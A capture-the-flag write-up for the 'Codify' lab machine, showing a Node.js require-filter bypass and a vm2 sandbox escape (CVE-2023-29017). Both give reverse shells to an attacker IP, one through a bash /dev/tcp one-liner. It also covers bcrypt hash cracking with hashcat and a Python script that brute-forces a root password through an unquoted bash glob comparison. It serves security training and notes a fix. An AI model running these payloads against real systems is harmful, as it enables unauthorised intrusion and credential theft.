Codify Machine Info

TL;DR

Codify involves bypassing restrictions for Node.js require (or a vm2 sandbox escape) to get a reverse shell using code injection.

After that, you have to enumerate the system and find an application directory which contains an SQLite3 database containing a bcrypt hash. You have to crack the user’s hash to gain access to their account.

The PrivEsc process begins by enumerating the system and discovering you can execute a back-up script as root using sudo (/opt/scripts/mysql-backup.sh). You can leverage the script functionality to brute-force the root user’s password.

Reconnaissance

nmap

nmap finds 3 open TCP ports, SSH (22) and two HTTP ports (80 and 3000).

 1❯ nmap -sC -sV codify.htb
 2Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 16:53 CET
 3Nmap scan report for codify.htb (10.129.139.108)
 4Host is up (0.033s latency).
 5Not shown: 997 closed tcp ports (conn-refused)
 6PORT     STATE SERVICE VERSION
 722/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey:
 9|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
10|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
1180/tcp   open  http    Apache httpd 2.4.52
12|_http-title: Codify
13|_http-server-header: Apache/2.4.52 (Ubuntu)
143000/tcp open  http    Node.js Express framework
15|_http-title: Codify
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 20.28 seconds

HTTP (80 & 3000)

It seems both ports (80) and (3000) point to the same application. The only difference is that port 80 is just port 3000 proxied through Apache.

The website hosts a web application which allows you to test Node.js code in a sandboxed environment. It immediately hints at the potential use of vm2. This suspicion is confirmed when we visit the ‘About us’ page, which links to a specific version 3.9.16 of vm2.

Codify Main Website

After clicking on the Try it now button, we get redirected to the code editor.

We are able to confirm we are indeed inside of Node.js by running this simple code:

1const os = require('os');
2console.log("Platform: " + os.platform());
3console.log("Architecture: " + os.arch());

Which returns to us:

1Platform: linux
2Architecture: x64

We can try to require the child_process module which we can hopefully use to spawn a new process.

1const cp = require("child_process")
2cp.exec("curl 10.10.xx.xxx:8000")

Which unfortunately tells us Error: Module "child_process" is not allowed so there’s some kind of filter implemented. Through trial and error, I figured out that both fs and child_process are restricted.

Exploitation

The intended way forward would be to proceed with a vm2 sandbox escape; however, I used another unintended approach which I will describe first.

Unintended

My approach was to bypass the filter restrictions placed on require to require the child_process directly from the sandbox. I used CVE-2023-32002 as inspiration for this.

The CVE mentions that you can use Module._load to bypass policy restrictions (which is a different experimental feature in Node.js) which made me think “what if it also bypasses these filter restrictions?”. And so I decided to take a look at how require works.

We can take a look at node/lib/module.js inside the node.js GitHub repository which shows us how require works under the hood on line 497.

1Module.prototype.require = function (path) {
2    assert(path, 'missing path');
3    assert(typeof path === 'string', 'path must be a string');
4    return Module._load(path, this, /* isMain */ false);
5};

We can see require just utilizes Module._load under the hood which we could try using directly to load child_process and bypass the filter.

So I tried this test payload:

1const Module = require('module');
2const cp = Module._load("child_process")
3cp.exec("curl 10.10.xx.xxx:8000")

Which gave us a hit!

1❯ python -m http.server
2Serving HTTP on :: port 8000 (http://[::]:8000/) ...
3::ffff:10.129.139.108 - - [05/Nov/2023 17:51:17] "GET / HTTP/1.1" 200 -

This means we can use this approach to spawn a reverse shell and gain foothold.

 1(function () {
 2    const Module = require('module');
 3    // We use Module._load which is what require is using under the hood: 
 4    // https://github.com/nodejs/node/blob/4d6297fef05267e82dd653f7ad99c95f9a5e2cef/lib/module.js#L497
 5    // Inspired by: https://nvd.nist.gov/vuln/detail/CVE-2023-32002
 6    const cp = Module._load("child_process")
 7    const sh = cp.spawn("/bin/sh", []);
 8    const net = require("net")
 9    var client = new net.Socket();
10    client.connect(1337, "10.10.xx.xxx", function () {
11        client.pipe(sh.stdin);
12        sh.stdout.pipe(client);
13        sh.stderr.pipe(client);
14    });
15    // Prevents the Node.js application from crashing
16    return /a/;
17})();

Intended

The intended approach is to break out of the vm2 sandbox as previously mentioned. We can do that by utilizing this VM-escape code which exploits CVE-2023-29017

 1const { VM } = require("vm2");
 2const vm = new VM();
 3
 4const code = `
 5aVM2_INTERNAL_TMPNAME = {};
 6function stack() {
 7    new Error().stack;
 8    stack();
 9}
10try {
11    stack();
12} catch (a$tmpname) {
13    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
14}
15`
16
17console.log(vm.run(code));

We can just modify the command to spawn a reverse shell to gain foothold.

 1const { VM } = require("vm2");
 2const vm = new VM();
 3
 4const code = `
 5aVM2_INTERNAL_TMPNAME = {};
 6function stack() {
 7    new Error().stack;
 8    stack();
 9}
10try {
11    stack();
12} catch (a$tmpname) {
13    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/10.10.xx.xxx/1337 0>&1"');
14}
15`
16
17console.log(vm.run(code));

User Shell

Now that we have a shell as the svc user, we can check out which user we have to reach by checking out what home directories are on the system using: ls -la /home

1❯ ls -la /home
2total 16
3drwxr-xr-x  4 joshua joshua 4096 Sep 12 17:10 .
4drwxr-xr-x 18 root   root   4096 Oct 31 07:57 ..
5drwxrwx---  4 joshua joshua 4096 Nov  5 14:58 joshua
6drwxr-x---  4 svc    svc    4096 Sep 26 10:00 svc

As we can see, there are two users (joshua and svc). This lets us know we probably need access to joshua.

Next, we can just enumerate further using LinPEAS to see if there are any interesting files/folders or any easy ways of privilege escalation.

LinPEAS does not give us much except for some information about folders/services on the system. We are able to notice the location of the web application, which is: /var/www/editor.

If we take a look at /var/www, we’ll be able to notice there are more folders (contact and html). html contains a default apache page. But contact is more interesting; it seems it’s a ticketing application that isn’t currently deployed anywhere. However, there is still an interesting file called tickets.db which is an SQLite3 database.

We can interact with it using the sqlite3 command:

1❯ sqlite3 tickets.db
2SQLite version 3.37.2 2022-01-06 13:25:41
3Enter ".help" for usage hints.
4Connected to a transient in-memory database.
5Use ".open FILENAME" to reopen on a persistent database.
6sqlite>

We can then list the tables using .tables:

1sqlite> .tables
2tickets  users
3sqlite>

And then we can get all the users from the users table using a SELECT query:

1sqlite> SELECT * FROM users;
23|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
3sqlite>

It seems like the application is using bcrypt which we can confirm by checking out the application source code:

1❯ cat index.js | grep bcrypt
2const bcrypt = require('bcryptjs');
3            bcrypt.compare(password, row.password, (err, result) => {

So, let’s try cracking the hash using hashcat and rockyou.txt. The mode for bcrypt is 3200 according to example_hashes

 1❯ hashcat -a0 -m3200 bcrypt.txt --wordlist ~/Downloads/rockyou.txt
 2
 3$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
 4
 5Session..........: hashcat
 6Status...........: Cracked
 7Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
 8Hash.Target......: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH.../p/Zw2
 9Time.Started.....: Sun Nov  5 19:46:00 2023 (1 min, 24 secs)
10Time.Estimated...: Sun Nov  5 19:47:24 2023 (0 secs)
11Kernel.Feature...: Pure Kernel
12Guess.Base.......: File (~/Downloads/rockyou.txt)
13Guess.Queue......: 1/1 (100.00%)
14Speed.#2.........:       16 H/s (7.40ms) @ Accel:4 Loops:32 Thr:1 Vec:1
15Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
16Progress.........: 1360/14344384 (0.01%)
17Rejected.........: 0/1360 (0.00%)
18Restore.Point....: 1344/14344384 (0.01%)
19Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:4064-4096
20Candidate.Engine.: Device Generator
21Candidates.#2....: teacher -> 080808
22Hardware.Mon.SMC.: Fan0: 88%
23Hardware.Mon.#2..: Temp: 64c
24
25Started: Sun Nov  5 19:45:54 2023
26Stopped: Sun Nov  5 19:47:26 2023

Success, the password is spongebob1 so lets ssh to [email protected] to get a full-featured shell.

Now, we can just cat the flag!

1❯ cat user.txt
265fb***********************8c2ac

Privilege Escalation

Okay, now we can start off by checking if we can execute anything using sudo:

1❯ sudo -l
2[sudo] password for joshua:
3Matching Defaults entries for joshua on codify:
4    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User joshua may run the following commands on codify:
7    (root) /opt/scripts/mysql-backup.sh

It seems we can execute a “mysql backup” script with sudo, let’s check out what the script does.

 1#!/bin/bash
 2DB_USER="root"
 3DB_PASS=$(/usr/bin/cat /root/.creds)
 4BACKUP_DIR="/var/backups/mysql"
 5
 6read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
 7/usr/bin/echo
 8
 9if [[ $DB_PASS == $USER_PASS ]]; then
10        /usr/bin/echo "Password confirmed!"
11else
12        /usr/bin/echo "Password confirmation failed!"
13        exit 1
14fi
15
16/usr/bin/mkdir -p "$BACKUP_DIR"
17
18databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
19
20for db in $databases; do
21    /usr/bin/echo "Backing up database: $db"
22    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
23done
24
25/usr/bin/echo "All databases backed up successfully!"
26/usr/bin/echo "Changing the permissions"
27/usr/bin/chown root:sys-adm "$BACKUP_DIR"
28/usr/bin/chmod 774 -R "$BACKUP_DIR"
29/usr/bin/echo 'Done!'

The script is using absolute paths, so PATH hijacking will not be possible. I was trying to think of a way to exploit some logic in this script, but I couldn’t think of anything.

Then after some fiddling around, I noticed that if you input an asterisk, it will accept the input as a valid password. This is because the variable inside the comparison [[ $DB_PASS == $USER_PASS ]] is not between quotes, so it is interpreting the asterisk as a glob pattern which partially matches based on input.

To mitigate this issue, the comparison should have been done like this: [[ $DB_PASS == "$USER_PASS" ]] since this way, the asterisk would be interpreted as a literal instead of expanding.

Anyway, I instantly realized we can leverage this to brute-force the password using a simple script since if we input a character followed by an asterisk, it will pass if the character is inside the password. We can utilize this to brute-force the password character-by-character.

So here is the script I wrote for this:

 1#!/usr/bin/env python3
 2import string
 3import subprocess
 4
 5# Maximum password length
 6MAX_LENGTH = 25
 7
 8charset = string.ascii_lowercase + string.digits
 9correct_chars = ""
10
11for i in range(1, MAX_LENGTH - len(correct_chars)):
12    for char in charset:
13        input_str = correct_chars + char + "*"
14
15        command = "sudo /opt/scripts/mysql-backup.sh"
16        process = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
17        output, error = process.communicate(input=input_str)
18
19        if process.returncode == 0:
20            correct_chars += char
21            print(f"Character found: {char} | Correct characters: {input_str[:-1]}")
22            break
23
24print(f"Password: {correct_chars}")

So let’s run this script and see if we get the password:

 1❯ ./brute.py
 2[sudo] password for joshua:
 3Character found: k | Correct characters: k
 4Character found: l | Correct characters: kl
 5Character found: j | Correct characters: klj
 6Character found: h | Correct characters: kljh
 7Character found: 1 | Correct characters: kljh1
 8Character found: 2 | Correct characters: kljh12
 9Character found: k | Correct characters: kljh12k
10Character found: 3 | Correct characters: kljh12k3
11Character found: j | Correct characters: kljh12k3j
12Character found: h | Correct characters: kljh12k3jh
13Character found: a | Correct characters: kljh12k3jha
14Character found: s | Correct characters: kljh12k3jhas
15Character found: k | Correct characters: kljh12k3jhask
16Character found: j | Correct characters: kljh12k3jhaskj
17Character found: h | Correct characters: kljh12k3jhaskjh
18Character found: 1 | Correct characters: kljh12k3jhaskjh1
19Character found: 2 | Correct characters: kljh12k3jhaskjh12
20Character found: k | Correct characters: kljh12k3jhaskjh12k
21Character found: j | Correct characters: kljh12k3jhaskjh12kj
22Character found: h | Correct characters: kljh12k3jhaskjh12kjh
23Character found: 3 | Correct characters: kljh12k3jhaskjh12kjh3
24Password: kljh12k3jhaskjh12kjh3

Success, the script returned the password kljh12k3jhaskjh12kjh3, let’s try it for the root user with su root

1❯ cat root.txt
24ecf***********************6a78f

And that’s it! We’ve captured the root flag!